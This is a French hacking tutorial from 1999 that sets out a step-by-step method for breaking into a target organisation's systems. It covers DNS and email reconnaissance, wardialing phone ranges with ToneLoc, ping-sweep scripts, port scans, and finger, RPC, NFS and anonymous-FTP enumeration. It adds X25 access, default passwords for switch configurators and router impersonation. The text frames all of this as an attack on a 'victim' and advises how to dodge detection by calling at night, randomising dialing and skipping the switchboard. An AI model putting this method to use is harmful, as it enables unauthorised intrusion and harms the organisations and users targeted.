Recoupement d'informations : cakeii
Validation et correction(s): tobozo
Dernière mise a jour : 04-aout-99
no© Serial Savate System

Intrusion et securite
Ce texte a ete créé
a partir d'archives
trouvées sur le net


Intrusion

Ce document a pour but de vous initier à l'intrusion dans un système informatique et ce, dans un but purement éducatif. On considère ici que l'intrusion est un pas a franchir dans le chemin qui mène a la notion de sécurité informatique.

  • Vous n'y trouverez aucune formule magique pour modifier votre compte bancaire ou hacker un site web ...

  • Nous précisons que le terme hacker est employé dans un contexte d'exploration et de découverte et non pas dans un contexte médiatique ou législatif.

  • Ce document n'a pas la prétention de tout connaître, d'ailleurs nous attendons de votre part des remarques et des suggestion, sa vie est de courte durée, au vu de l'intense activité qui se déroule actuellement dans ce secteur. C'est pourquoi il sera mis a jour a chaque nouvelle information que nous recevrons.

Depuis quelques temps, c'est la sérénade dans la presse informatique et nationale sur les nouveaux 'hackers', pardon 'consultants en sécurité' serait plus adéquat, qui font des essais d'intrusions, ils sont rémunérés pour hacker et tester la sécurité informatique ! Derrière le terme 'hacker' il y a des compétences en techniques simples : une bonne connaissance de l'informatique TCP/IP, Unix, un ou deux langages de programmation (de préférence C et Perl) et un esprit souple.

La Technique de l'intrusion demande surtout de savoir lire les faq des groupes de hackers américains, puisqu'il n'en existe pas réellement en français. Pour le plaisir des petit et des grands, nous allons découvrir le monde merveilleux de l'intrusion.



Approche

Notre approche consiste à attaquer selon 3 axes et en 3 phases. Les 3 axes :
  • RTC pour détection de porteuse et de modems non déclarés
  • X25 pour essayer de trouver des accès gros systèmes SNA/DSA ou decnet, ou des routeurs IP/X25
  • Internet pour détecter les points d'entrée
Les 3 phases outre une phase de récupération d'outils doivent permettre :
  1. la récupération d'un maximum d'adresses IP, de numéros de téléphone, de numéro X25, d'adresses e-mail, etc. et d'infos de configurations (voir hackoff3 sur le 'Social Engineering')
  2. l'utilisation des infos recueillies lors de la phase 1 pour accéder à des machines et/ou des réseaux de la victime
  3. l'attaque des machines



Préliminaire : Le matos

Il faut disposer des équipements suivants :

  • un modem RTC classique,
  • une carte X25/X32, l'abonnement correspondant, les couches TCP/IP, PAD, etc. ainsi qu'un kit de développement TCP,
  • une carte NUMERIS
Pour les OS, de LINUX ou de FreeBSD.
Pour les OS Win32, les soft pour le hack sont sous dimensionnés, donc on utilisera plutôt Win 3.11 ou Linux.


Phase 0 : récupération d'outils et configuration des machines

Les outils sont différents selon les axes d'attaques et selon l'OS utilisé pour l'attaque. Il est évident que UNIX est l'OS le plus simple pour réaliser ce type d'opération car la quasi-totalité des outils sont standards et peuvent être automatisés dans un shell script.

Attention : Autant, il est " facile " de communiquer vers un provider sous W3, W95 et Windows NT, autant cela n'est pas simple sous LINUX.

 

Axe RTC

Outils standard

 
Emulateur de terminal Chez http://www.tucows.com/
Emulateur Minitel En general fourni avec le modem (voir site constructeur)

Outils spécifiques

 
Dialer TONELOC Automate d'appel d'une plage de numéro et détection de porteuse (fax ou modem)
Dialer NUAA Automate d'appel de réseau X25 en particulier SprintNet.
Pabxhack Comme son nom l'indique, outil de hacking de pabx.

Dispo en telechargement sur des sites underground repondant au mot-clé phreaking dans les moteurs de recherche.



Phase 1 : récupération d'informations

Principe de base

Ce qui distingue cette phase de la suivante, c'est que toutes les opérations réalisées sont totalement licites. Il ne s'agit que de récupération d'informations disponibles sur Internet ou ailleurs. Seules certaines récupérations et l'usage de TONELOC (appels des plages d'un autocom) sont limites.

Source d'informations "ponctuelles"

Les sources d'informations ponctuelles peuvent être multiples (carte de visite obtenues de différentes manières (visite commerciale chez la victime, annuaire, Minitel, informations recueillies par echanges, etc.). Elles ont pour objectif de récupérer :

 

  • des numéros de téléphone (même préfixe Tel et Fax ==> Plage de n° PABX pour le dialer)
  • des adresses E-Mail ( connectivité internet + nom de domaine)
  • des adresses Internet (nom de machines et @IP)
  • des adresses X25 (C'est la seule source pour les @X25)
  • des informations plus générales sur la victime, ses interconnexions, etc.

Source d'informations techniques

Axe Internet

Les sources d'informations techniques peuvent être soit immédiatement obtenues par des informations "publiques" sur la victime (son nom, le nom de ses filiales, etc.) soit itérées en fonction des résultats du chapitre précédent.

Récupération d'informations par internet

Récupération des adresses IP officielles dans l'annuaire DNS avec "whois", "nslookup" et "dig ". Utilisation des vecteurs classiques (moteurs de recherche, news via www.dejanews.com, email via www.four11.com, etc.) pour obtenir des domaines de messagerie ou des serveurs web.

1. L'annuaire DNS mondial

    • Whois

      Whois est une couche réseau qui exploite les tables DNS. On interroge tout d'abord la table internic (rs.internic.net) puis si nécessaire d'autres serveurs . L'outil "whois" est disponible sous Linux (filewatcher.org)
      Avec cet outil, on peut :
      • lui passer une chaine de caractère et il vous sort la liste des noms de domaine DNS commencant par cette chaine de caractère . A partir de ces noms de domaines, il faut faire une seconde recherche pour avoir des informations plus précises,
      • lui passer une adresse de réseau de classe C, B ou même A (192.93.10.0 ou 141.29.0.0 par exemple) pour savoir à qui elle est allouée.

    Un nombre important d'adresses IP européennes est aujourd'hui gérée par le RIPE. Le serveur "whois.ripe.net" permet de récupérer des infos mais il n'est pas aussi souple sur les caractères de substitutions que celui d'internic.

    mettre un exemple de whois

    Selon les cas, on trouve soit des adresses IP de réseau (le pied) soit des noms de réseaux. Si on obtient des noms de réseaux uniquement, il y a de forte chance pour que le site ne soit pas directement connecté à internet mais uniquement via un provider et en connexion à la volée

    A contrario, ce n'est pas parce que l'on obtient une adresse IP que la société est réellement connectée sur Internet. Elle peut avoir simplement réservé cette adresse pour un usage futur.

    On doit donc utiliser dans cet outil :

    • le nom de la société et de ses filiales (ou des noms intermédiaires),
    • les noms de réseaux et de machines identifiés lors de la phase de récupération d'informations ponctuelles (e-mail, news, etc.),
    • les adresses de classe C ou B pour savoir à qui elles appartiennent (en les suffixant de 1 ou de 2 zéro.)
    L'usage de l'outil est bien entendu récurant en fonction des nouvelles infos dont on peut disposer.

    Remarque :
    Dans certains cas lorsque l'on cherche à qualifier l'appartenance d'une classe C ou d'une classe B, le site standard (rs.internic.net) nous fournit des plages d'adresses en précisant que ces plages ont été allouées à des organismes autres (plages RIPE en europe par exemple). Dans la plupart de ces cas, il est précisé un autre site qui donnera des informations complémentaires (whois.ripe.net par exemple).

     

    • Netfind
    Netfind est un outil disponible sur le site internic et accessible en HTTP via une URL gopher. Netfind permet d'effectuer des recherches sur les domaines de messagerie. Ces recherches sont complémentaires de celles réalisées avec Whois. L'URL à accéder est :

    gopher://ds1.internic.net:4320/7netfind%20dblookup

    C'est une couche réseau qui exploite les tables DNS. On interroge tout d'abord la table internic (rs.internic.net) puis si nécessaire d'autres serveurs .

     

    • Nslookup
    "nslookup" est l'outil de base UNIX pour récupérer des informations au travers de DNS lorsque l'on connait le nom DNS de la machine ou son adresse IP. Il permet d'obtenir différents types d'informations en paramétrant la demande. L'objectif de son usage est d'obtenir des adresses IP là ou whois nous avait donné des noms de réseaux d'une part et d'obtenir des informations permettant de relancer un whois sur les passerelles de messagerie identifiées dans les e-mail. "nslookup" est disponible sous plusieurs OS. Il est par contre rarement paramétrable sous Windows NT ou 95. J'utilise donc les versions Windows pour des requêtes simples et UNIX pour les requêtes plus détaillées. La requete de base nslookup permet de récupérer l'adresse IP d'une machine (ou d'un nom de réseau) dont on connaît le nom. Cela s'obtient sous unix en mode commande en lancant :
    • nslookup nom_de_machine
    Nslookup permet d'autres informations en utilisant le paramétre "-query". La commande est alors :
    • nslookup -query=xxxx nom_de_machine
    ou xxxx peut prendre les valeurs (je ne détaille que celles que j'ai utilisées) :

     

     A		valeur par défaut, adresse/nom DNS ou inverse
    
     MX		informations sur le serveur de messagerie (issu des e-mail)
    
     UINFO		information sur les utilisateurs (jamais de réponse !)
    
     HINFO		information sur le type de HOST (s'il est déclaré)
    
     MINFO		information sur le mail server et la mailbox (s'il y en a)
    
     WKS		les well-knowns servis sur la machine (s'ils sont déclarés)
    
     TXT		un texte complémentaire s'il en existe un
    
    
    Les autres valeurs sont : CNAME, NS, PTR, SOA, AXFR, MB, MD, MF, ANY (qui ne marche pas). Pour plus de détail, cf. Man nslookup et rfc1035.

    Remarque :
    nslookup renvoie soit une adresse IP (passage au point suivant), soit un message d'erreur du type "host unknown'", la machine ou le réseau ne sont pas connecté sur internet, ou un message d'erreur du type "no record Adress (A) dispo". Il s'agit alors très fréquemment d'une passerelle de messagerie dont on obtient les caractéristiques via le paramètre "-query=mx".

     

2. Les moteurs de recherches
    (liste trouvée par exemple à "http://ireste.ireste.fr/moteurs/" ou directement sur l'un des moteurs (www.yahoo.fr, www.lycos.com, etc.). On cherche alors le nom de la société pour identifier les endroits ou elle est citée sur le net. On obtient alors soit des noms de sites WEB, soit des noms ou des e-mail d'utilisateurs de la société.

3. Les news

    dans lesquelles des personnes de la société ont pu déposer des demandes ou effectuer des réponses. les news sont par exemple accessibles au travers d'un site web comme "www.dejanews.com".

4. Les annuaires d'email.

    Aujourd'hui nous utilisons :

     

    • www.four11.com qui permet de rechercher les utilisateurs ayant ne email par société (il y a un champ société dans la grille de saisie des paramétres de recherche). On obtient une liste d'emails dont on extrait le domaine :
    Joseph Abdallah                            @lanl.gov
        CURRENT ORGANIZATION:  T-4 Atomic And Optical Theory
     Raj Acharya                                @vaxd.gat.com
        CURRENT ORGANIZATION:  General Atomics
    • "http://www.nova.edu/Inter-Links/netfind.html" permet d'obtenir la liste des domaines de messagerie d'une société en passant en paramètre "* Nom_de_société". On obtient une liste des domaines d'email. Sous la forme :
    Nom_du_domaine_de_messagerie Nom & adresse de la société correspondante
    • une fois cette phase terminée, il faut retourner à la phase 1 pour vérifier si les domaines de messagerie sont reliés à des domaines DNS (via whois) ou à des machines IP (nslookup standard) ou enfin à des passerelles de mail uniquement (via nslookup -query=mx). On qualifie ensuite toutes les adresses obtenues pour savoir si elles appartiennent ou non a la victime (whois sur l'adresse de réseau de classe B ou C).
    Attention :
    Les domaines d'email sont surement l'un des moyens les plus efficaces pour trouver des adresses gérées par des providers ou des sites qui n'ont pas le nom des sociétés de la victime dans leur nom.

 



Axe RTC : Recherche de Modem

Utilisation du dialer MSDOS TONELOC pour détecter les porteuses de modems.

Une recherche de modem peut être envisagée dès lors que l'on connaît des numéros ou des plages de numéros correspondant à la société cible. Cette méthode ne garantit aucunement l'exhaustivité de la recherche puisque les modems sont souvent accessibles au travers de numéros analogiques qui ne sont pas gérés par le PABX. Une recherche plus efficace peut être envisagée en parcourant exhaustivement les plages utilisées sur le site géographique de la cible. Il est par contre impossible dans ce cas d'être sûr que les numéros sur lesquels une porteuse est détecté appartiennent bien à la cible. Cela pose un problème financier (si des particuliers sont appelés, ils décrocheront et la communication deviendra payante).

Les contraintes

Le coût
Le coût d'un appel qui aboutit est a priori faible. Le nombre d'appels peut cependant conduire à un coût global important. Et ceci d'autant plus s'il s'agit d'appels longue distance. On peut dire qu'un appel aboutit dès lors qu'il y a décrochage à l'autre bout de la ligne : une personne, un modem ou un fax, un répondeur. La durée de la communication peut être variable suivant l'équipement qui décroche. Il est dans tous les cas probable qu'il y ait raccrochage avant d'atteindre une minute. Les communications vers certains pays peuvent quand même atteindre 20F / minute. Pour minimiser le coût, il est donc souhaitable d'avoir le moins possible de décrochages, et notamment de décrochages par des personnes (qui contrairement aux machines peuvent trouver ça louche). Ceci conduit à privilégier des compositions de nuit, ou de jour lorsqu'il n'y a personne , c'est à dire samedi, dimanche, ou les jours fériés.

Le temps
Pour chaque numéro appelé, il faut compter le temps de composition du numéro, et le temps d'attente avant raccrochage (durée au bout de laquelle on estime qu'il n'y aura pas de réponse). Sur la base raisonnable d'une trentaine de secondes pour chaque numéro, il est possible de composer une centaine de numéros à l'heure, soit de l'ordre de 1200 numéros entre 19h et 7h.

garantie de résultat
L'exhaustivité des identifications (dans la limite des plages auxquelles on applique la recherche) est dépendante

  • de la bonne détection de l'éventuel plantage du modem
  • du fait que les modems que l'on recherche ne sont pas éteints manuellement (extinction), automatiquement (programmation horaire de l'alimentation électrique) ou logiciellement (programmation du modem par la machine à laquelle il est relié pour qu'il ne réponde pas aux appels),
  • de la configuration nocture du PABX, qui peut en fonction de l'heure dérouter les appels vers le standard (pour toutes les lignes ou pour certaines seulement), ou rendre certains numéros inaccessibles.
Indications :
Les numéros correspondant à des fax (notamment celui que l'on trouve avec le numéro du standard) peuvent donner des plantage du modem. C'est relativement aléatoire puisque l'on ne peut préjuger de quand ces numéros seront composés, et quand on aura des problèmes de détection.

Utilisation de toneloc

Ce programme sait gérer le parcours automatique de plages de numéros, en identifiant des porteuses ou des tonalités. La deuxième fonctionnalité est probablement inintéressante en France, au moins dans notre contexte. Une présentation rapide du paramétrage de ce produit est fournie en annexe 1.

Caractéristiques
La définition d'une plage est faite en adjoignant un ou plusieurs X à un préfixe, et en spécifiant pour les chiffres manquants des valeurs de départ et de fin. Il est possible de définir des contraintes horaires pour l'exécution de toneloc. Les commutateur /s et /e permettent en effet de définir une heure de début et une heure de fin. Toneloc lancé avec l'option /s attendra l'heure spécifiée pour composer le premier numéro, sauf si la touche Esc est tapée. Le programme arrêtera de composer des numéros dès qu'il aura dépassé l'heure spécifiée avec le commutateur /e, et ne composera aucun numéro s'il est lancé alors que cette heure est dépassée. Attention cependant au cas où l'on spécifie une heure d'arrêt dans la matinée pour un programme lancé le soir. Il semble en effet que, l'heure nocturne étant postérieure à l'heure d'arrêt (prise dans la même journée), que le programme ne se soit pas exécuté plusieurs fois. Toneloc sait prendre en compte une liste noire dans laquelle on recensera les numéros qui ne doivent pas être composés (celui du standard pourrait y être mis systématiquement, ce qui évite qu'un gardien ne s'étonne la nuit) Le parcours peut être incrémental ou aléatoire, cette seconde option réduisant les risques de détection (cela aura tendance à sonner dans n'importe quel endroit du site, et pas deux fois de suite sur des postes situés au même endroit). La configuration de Toneloc est gérée par un outil tlcfg. On y configure notamment les chaînes d'initialisation du modem, le numéro de port utilisé, le délai avant raccrochage et le format plus ou moins prolixe d'enregistrement des connexions réussies.

Toneloc produit trois fichiers différents lorsqu'il s'exécute (dans le meilleur des cas, c'est à dire lorsqu'il a trouvé des porteuses, sinon deux fichiers seulement). Ce sont :

  • tone.log : log des essais, avec en-tête, notification des porteuses éventuelles, et bilan,
  • found.log : enregistrement de ce qu'envoie le modem distant (bannière par exemple) sans, puis avec titillement (envoi de caractères par toneloc), des caractéristiques de la connexion, et le cas échéant du nombre de secondes écoulées avant coupure de la communication
  • préfiXXX.dat, au format binaire, qui permet une visualisation par tonemap des résultats concernant la plage parcourue, et qui est utilisé par toneloc pour ne pas recomposer un numéro déjà appelé.
Lorsque ces fichiers existent déjà, toneloc ajoute à la fin des .log, et complète le contenu du .dat

Limitations de toneloc :

  • Il a été constaté que toneloc ne détecte pas les porteuses de certains fax. le faible nombre de modems recensés pourrait laisser penser qu'il en va de même pour les porteuses de certains modems.
  • Les capacités de détection sont clairement dépendantes des caractéristiques du modem utilisé (un modem V32 ne détectera pas bien la modulation d'un V34bis si ce dernier ne connecte qu'à 33600 bps).
  • Indépendamment de cela, il n'est pas impossible que les détections soient fonction du modèle de modem utilisé. De ce fait, l'utilisation de modems différents pourrait permettre un meilleur recensement, au prix toutefois d'un multiple parcours des plages.
  • L'existence de numéros à taille variable dans certains pays, comme l'Allemagne, pose un problème avec toneloc.
  • Il semble que le programme de fusion de deux .DAT relatifs à la même plage ne soit pas complètement fonctionnel. Il faut donc réutiliser les mêmes .DAT lorsque l'on parcourt des plages contiguës.
Choix des plages
Si l'on connaît un préfixe, il faut être particulièrement méfiant. La cible ne détient pas forcément tous les numéros correspondant à toutes les valeurs de suffixe. Il faut dans ce cas valider manuellement en procédant par encadrement de la plage. Si l'on dispose d'un ensemble de numéros (tirés d'un annuaire), il faut vérifier qu'ils partagent un même préfixe, puis rechercher les plus grand et plus petit numéros alloués. On en déduit alors une plage en arrondissant au dessus et au dessous. Cette plage est alors très sûre (sauf si elle se fonde sur des informations périmées), mais peut très bien ne constituer qu'une fraction de la véritable plage gérée par l'autocommutateur. dans tous les cas, il est intéressant de valider la faisabilité de la recherche sur cette plage

Astuces sans garantie

 

  1. privilégier les jours fériés car il est plus vraisemblable qu'il ne soient pas gérés différemment des jours ouvrés par le PABX
  2. privilégier les périodes de vacances.
Exemple de résultat d'un TONELOC
Les informations sont obtenues suite aux passages de l'outil TONELOC pour détecter des porteuses. On détecte donc un certain nombre de modem qui répondent. Le résultat typique d'un toneloc est :
04:26:10 "
04:26:10 ToneLoc v1.10 (Sep 29 1994)
04:26:10 ToneLoc started on 13-Mar-97
04:26:10 Using COM1 (16450 UART)
04:26:10 Data file: 011234567X.DAT
04:26:10 Config file: TL.CFG
04:26:10 Log file: TONE.LOG
04:26:10 Mask used: 011234567X
04:26:10 Range used: 0-9
04:26:10 Scanning for: Carriers
04:26:10 Initializing Modem ... Done
04:28:21 0112345675 - Timeout (3)
04:29:01 0112345670 - Timeout (0)
04:27:32 0112345671 - * CARRIER *
04:28:21 0112345674 - Timeout (3)
04:29:01 0112345676 - Timeout (0)
04:28:21 0112345672 - Timeout (3)
04:29:01 0112345679 - Timeout (0)
04:29:01 0112345673 - Timeout (0)
04:28:21 0112345678 - Timeout (3)
04:29:01 0112345677 - Timeout (0)

On y détecte donc un modem sur le n° 0112345671

A l'issu de ce travail (souvent répétitif environ 10000 appels pour 6 modems par exemple), on dispose donc de porteuses de modem(s). Ces porteuses vont pouvoir ensuite être accédées pour vérifier si le modem accepte les connexions entrantes.

 



Axe X25

Nous ne disposons pas de moyens technique pour récuperer des @X25. Donc à ce niveau le Social engineering prend toute son importance.


Phase 2 : Exploitation des informations recueillies

Principe de base

Attention, à partir de cette phase, toutes les opérations effectuées peuvent être interprétées à la limite comme une tentative d'intrusion. Elles ne sont par contre pas vraiment punissables par la loi.

Axe Internet

On dispose à l'issue de la phase 1 d'adresse IP de réseau ou de machines.

  1. vérifier qu'elles sont actives et qu'elles donc répondent au ping
  • Ping
Résumé : ping limité (-c x) sur toutes les adresses
l'outil ping est disponible sous UNIX et dans les autres OS.
Je l'utilise plutôt sous UNIX car il est plus facile de le paramètrer. Nous avons bricolé des outils qui permettent de grouper les ping. Ils sont à la base des shell-scripts. Nous avons deux versions :
  • Une version très rapide et simple. On crée une liste d'adresse sous vi, puis on écrit un mini-shell du type :
 for i in `$1`
 do
    ping -c 2 $i >> resultat &
    sleep 1
 done

Son principal inconvénient est de ne pas trier les résultats et de ne pas générer le fichier de base des adresses.

 

  • L'autre version, elle necessite la présence dans le répertoire courant d'un fichier 1-255 contenant 255 lignes numérotées de 1 à 255. Elle prend en paramétre le nom du fichier résultat et de la plage d'adresse à analyser. Elle s'appuie sur un shell script du type :
 echo " "           >  $1
 for i in `1-255`
 do
    echo $2.$i      >> $1
    ping -c 2 $2.$i >> $1
 done

Son principal inconvénient est de devoir être lancée en arriere plan pour gagner du temps et de générer un fichier résultat par adresse de classe C. Les différentes variantes sont liées soit à un niveau de détail dans le ping (-c 10, -d, etc.), soit dans l'affichage des informations à l'écran avant de les stocker dans le fichier résultat (| tee -a ...)

ATTENTION, les schells scripts lancés en arrière plan ne doivent pas afficher de message donc eviter celui contenant les "tee".

L'exploitation des résultats peut-être réalisé soit à la main en visualisant le fichier (fastidieux) soit par des greps +/- automatisés. Je me suis arrêté à une suite de grep du style :

  • grep " 0%" $1
  • grep " 20%" $1
  • grep " 40%" $1
  • grep " 50%" $1
  • grep " 60%" $1
  • grep " 80%" $1
qui affiche si une ligne de résultat est différente du classique "packet lost 100%". Il faut alors se réferer au contenu du fichier pour savoir laquelle. Si un Kador du shell-script et du sed/awk fait mieux, merci. Les pourcentages possibles dépendent bien entendu du paramétre -c qui précise le nombre de paquets que l'on essaye de lancer avant de passer à l'adresse suivante. Je me suis basé sur 2 paquets, ce qui parait suffisant.

A la fin de cette phase, on est normalement à même de savoir si certaines machines de la victime sont accessibles sur Internet.

Attention, si une machine répond sur un sous-réseau, il est intéressant de repasser le ping sur toute la plage plusieurs fois. En effet, certaines machines peuvent ne pas avoir été branchées lors du premier passage ou n'avoir pas répondu à cause du time-out faible. Il faut également tenir compte du décalage horaire si nécessaire.

2.Regarder quels sont les services réseaux accessibles sur ces machines.

 

Les outils d'intrusion

tcp_scan et udp_scan sur les machines actives pour identifier les services disponibles Utilisation des couches actives publiques pour recueillir des informations (rpc, nfs, finger, ftp anonyme, smtp via telnet sur le port 25, etc.)

Cette opération peut s'effectuer à la main ou à l'aide d'outils complets comme SATAN, Nessus ou NMAP.

  • recherche des ports accessibles (tcp_scan et udp_scan).
Ces outils ne sont disponibles que sous UNIX. A priori, j'utilise les outils fournis avec SATAN et compilés sous LINUX. Ils sont stockés dans le répertoire bin de satan. On lance dont sur chacune des adresses de machine :
  • tcp_scan @IP_machine 1-65535 > resultat_machine
  • udp_scan @IP_machine 1-65535 >> resultat_machine
 On obtient alors la liste des services actifs tant en tcp 
 qu'en udp sous une forme du type :
 80:http
 23:telnet
 ...
 Certains services sont particuliérement utiles. 
 Il s'agit dans un premier temps de :
 69 : tftpd qui peut parfois permettre de récupérer
            le fichier /etc/passwd (récupérable uniquement
            avec udp_scan
 79 : fingerd qui permet d'obtenir des informations
            sur le site et les utilisateurs connectés
 80 :	httpd qui signifie que le site dispose d'un site web.
            L'accès à ce site web est un des moyens le plus sûr 
            de s'assurer que l'on attaque bien le bon site.
 111 : Le port mapper, la machine accepte des appels RPC 
            (NFS, YP, etc. sont interessants pour la suite)

Dans un second temps, des services comme smtp, telnet, ftp et rlogin permettent de se connecter à la machine.

  • recherche d'informations si un port 79 (finger) est présent :
Finger est une couche haute sur TCP qui permet de recueillir des informations sur les utilisateurs d'une machine. La partie cliente de finger est disponible sous la totalité des OS. J'utilise soit la version UNIX avec la possibilité de l'automatiser dans un shell-script (je n'en ai pas écrit pour cette fonction mais ça peut venir) et l'outil "iefinger" sous Windows 3.11 qui permet de lancer un batch sur plusieurs adresses. Dans un premier temps, on lance finger pour obtenir la liste des utilisateurs connectés sur la machine :
  • finger @IP_machine
on obtient une liste du type :

 

 Welcome to Linux version 2.2.7 at rasta.legang.fr !
 
   3:05pm  up 5 min,  3 users,  load average: 0.16, 0.13, 0.08
 
 Login       Name               TTY         Idle    When    Where
 toto     -  albert	      console        1  Thu 12:37  :0                  
 titi     -  Titi rené         pts/2         13 Mon 09:04  192.93.xxx.xxx      
 demo     -  Demonstration     pts/4         18 Mon 09:09  192.93.yyy.yyy      
 ...
On y trouve les infos suivantes :
  • Le nom d'utilisateurs déclarés dans le /etc/hosts sur la machine,
  • les machines a partir desquelles ils sont capables de communiquer avec la machine (ce qui nous donne d'autres @IP et donc une indication sur la connectivité de la machine vers un réseau interne et de nouvelles cibles => retour au nslookup pour les qualifier puis au ping),
  • des infos complémentaires parfois sur le type de machine (linux) son nom DNS/interne (rasta.legang.fr) , etc.
Dans un second temps, on lance finger pour obtenir des informations sur les utilisateurs eux-même :

 

  • finger nom_user@IP_machine
On obtient une liste du type :

 

Welcome to Linux version 2.0.0 at rasta.legang.fr !
 
   3:10pm  up 10 min,  4 users,  load average: 0.04, 0.09, 0.07
 
 Login: test           			Name: test passwd
 Directory: /home/test               Shell: /bin/bash
 On since Wed Jul  9 15:08 (MET DST) on tty3   1 minute 9 seconds idle
 No mail.
 Project:
 Je travaille sur le projet X
 No Plan.

Toutes les informations sur le champ gecos, les projets sur lesquels travaille l'utilisateur peuvent être utilisées dans une phase ultérieure d'agression. Parmi les utilisateurs, certains doivent être remarqués. par exemple, les utilisateurs "guest" ou "demo" qui n'ont fréquemment pas de mot de passe ou les comptes de produits (ingres, informix, etc.) qui ont fréquemment des mauvais mots de passe.

  • Récupérer des informations sur les RPC disponibles si le port mapper est lancé
la commande "rpcinfo" permet d'obtenir la liste des service RPC servis via le portmapper. Ces informations doivent être stockées pour un usage futur. la commande est :
  • rpcinfo -p @IP_machine
 program vers proto   port
     100000    2   tcp    111  portmapper
     100000    2   udp    111  portmapper
     100005    1   udp    704  mountd
     100005    1   tcp    706  mountd
     100003    2   udp   2049  nfs
     100003    2   tcp   2049  nfs
L'un des points importants concerne la détection de NFS (nfsd, mountd dans les services). Un autre type de service doit être remarqué, l'usage de NIS et des yellows pages (yp). Je vous conseil d'utiliser un autr OS que linux, il existe beaucoup de problème de compils et d'utilsation de yp sur Linux, on peut via ces services optenir la map du yppasswd et des autres fichiers gérés par NIS (outil ypsnarf, ypghost, etc.).

 

  • Récupérer des informations sur les partitions NFS exportées
La commande "showmount" permet de savoir si des partitions NFS sont accessibles et pour quelles machines. Ces informations doivent être stockées pour un usage futur. La commande est :

 

showmount -e @IP_machine
 Un résultat du type :
 Export list for 127.0.0.1:
 /home (everyone)
signifie que la partition /home est exportable pour toutes les machines sur internet. Plus fréquemment, on trouve un répertoire exportable vers des machines désignées. Si elles appartiennent au client, on sait que si on les cracke, on aura la possibilité de monter les répertoires correspondant sur une autre machine et ainsi de suite.
  • Se connecter sous ftp en connection anonyme et regarder ce que l'on trouve comme infos.
Certains sites mettent en place un site ftp d'accès libre. S'il existe, il peut être une source d'information (la version du ftpd, le type de machine UNIX ou NT , un nom de compte oublié dans le /etc/passwd de la partition anonyme, les vrais mots de passe dans le même fichier mais faut pas réver !). la commande est :

 

ftp @IP_machine
user      anonymous
...  entrer votre E-Mail comme mot de passe ...
password  guest 
Résultat :
On dispose alors d'une liste d'adresse IP de machines qui répondent et des informations sur les couches réseaux actives sur ces machines. En ayant lancé soit le ftp, soit finger, soit le SMTP, on doit avoir également une idée des versions de ces différentes couches ainsi que le type d'OS des machines. On peut également avoir stocké des noms d'utilisateurs (finger, /etc/passwd du ftp anonyme, etc.). La plupart des OS et des couches ont des bugs connus et référencés dans les avis des CERTS US ou australiens

Remarque
Ici, je vous ai présenté différentes technique pour l'intrusion il en existe des centaines, souvent ephémères leur solution réside souvent dans l'application d'un patch, pour les secteurs d'actitvités qui possèdent un administrateur orienté sécurité, la porte est ouverte quelques heures. Et pour d'autres c'est portes ouvertes tous les jours ! Pour connaitre les dernières failles, une culture des DOS (Denial of Service) que je traduirai par trou de sécurité, doit se faire par une consultation des sites sur le sujets (www.antionline.com, www.rootshell si il vit encore... voir liens sur le site)

 



Axe X25

Les moyens d'accès à un réseau X25 sont variables :

 

  1. PAD public de TRANSPAC
  2. PAD privé de la cible
  3. PAD via X32
  4. accès X25 natif via LS
  5. accès X25 natif via Transpac
  6. accès X25 natif via X32 par le RTC
  7. accès X25 natif sur le canal D Numéris
Les outils dont nous disposons sont :

 

  • l'accès au travers d'un PAD public en facturation au demandé,
  • l'utilisation de notre accès X32 en facturation au demandeur (avec la possibilité sur cette carte de valoriser un champ USERDATA, d'utiliser IP sur X25 (non qualifiée), d'utiliser du PAD sur l'accès X32, de développer grace à l'API de la carte).

Nous sommes donc a priori capable d'émuler les moyens d'accès 1, 3, 6. Si nous trouvons un PAD privé de la cible (c'est arrivé), nous sommes alors capable d'émuler 2. Il nous manque donc la LS (c'est évident), le X25 Transpac pur et Numéris. Au moyen des accès dont nous disposons, il est possible d'atteindre (suivant leur configuration) des commutateurs, des routeurs ou des machines terminales. Il est possible également en spécifiant le contenu du champ user data du paquet d'appel de diagnostiquer l'utilisation d'encapsulations SNA/X25, DSA/X25 ou IP/X25. Utilisation d'un accès PAD

  • connexion au PAD (ex 0836044444, 7E1)
  • éventuellement contrôle des paramètres : (PAR?), et modification si nécessaire (SET X:Y pour changer)
  • saisie d'une adresse Transpac ou d'une adresse avec des données utilisateur au format adresseDdonnées et avec 16 caractères de données seulement
Il y a alors soit connexion (affichage de COM, suivi d'autre chose), soit rejet (message de libération CLR XX YYY où XX est la cause et YYY le diagnostic) On peut en cours de communication repasser en mode commande en faisant ^P

Utilisation de la carte X32
  • La carte X32 est configurée . Il faut donc dans un premier temps lancer les services de réseau
  • Ensuite au travers de l'icone "test X25", on peut essayer différents types de connexions
  • Saisie d'une adresse Transpac ou d'une adresse avec des données utilisateur au format adresseDdonnées et avec 16 caractères de données seulement
Il y a alors soit connexion (affichage de COM, suivi d'autre chose), soit rejet (message de libération CLR XX YYY où XX est la cause et YYY le diagnostic) on peut en cours de communication repasser en mode commande en faisant ^P Mécanismes de controles possibles, par ordre de réalisation
Existence du correspondant
 	Si ce n'est pas le cas, message CLR NP YYY
 appartenance au GFA, effectué par le dernier commutateur TRANSPAC
 	message CLR NA YYY
 inhibition du PCV
 	message CLR RNA YYY
contrôle de l'adresse appelante par le commutateur de la cible
contrôle des données du paquet d'appel par le commutateur ou l'équipement terminal
contrôle en fonction de la sous adresse (qui suit les 9 chiffres) par le commutateur
dans les trois cas, rejet par le distant, souvent LIB DTE
Accès à des configurateurs
Les routeurs CISCO sont accessibles en PAD comme par telnet. Une access list peut être configurée pour contrôler les accès aux consoles virtuelles (les mêmes vtyX).

Les commutateurs X25 ont en général un configurateur accessible en PAD
Si l'on ne fournit pas de sous adresse, le comportement dépend de la configuration du commutateur et de leurs caractéristiques par défaut

 
marque sous adresse mot de passe divers
matracom   gsy91 faire ^U pour voir la bannière
OST 9, 99, 999 bonjour ou hello  
TRT Souvent des 9 CCLAER prompt = "*"

Quelques infos sur les commutateurs TRT, en vrac :

  • ils gèrent jusqu'à des sous adresse de 4 chiffres, de taille fixe
  • il y a padding à droite avec des 0, ou troncature des digits surnuméraires à droite
  • pas d'écho du mot de passe
  • divers services sont accessibles suivant le contenu du champ USER DATA
    • 10CC configurateur
    • 00GG générateur
    • 14SS statistiques
    • 04OO observation
    • O2EE événements remarquables
    • 12MM télémaintenance

Accès à des routeurs

En connaissant les adresses de deux routeurs communiquant en IP sur X25, et sous réserve qu'il n'y ait pas de GFA ni de contrôle de l'adresse de l'appelant, il doit être possible de se faire passer pour l'un des deux routeurs vis à vis de l'autre.Ceci donne donc un accès au réseau IP, et permet de plus d'usurper les adresses IP

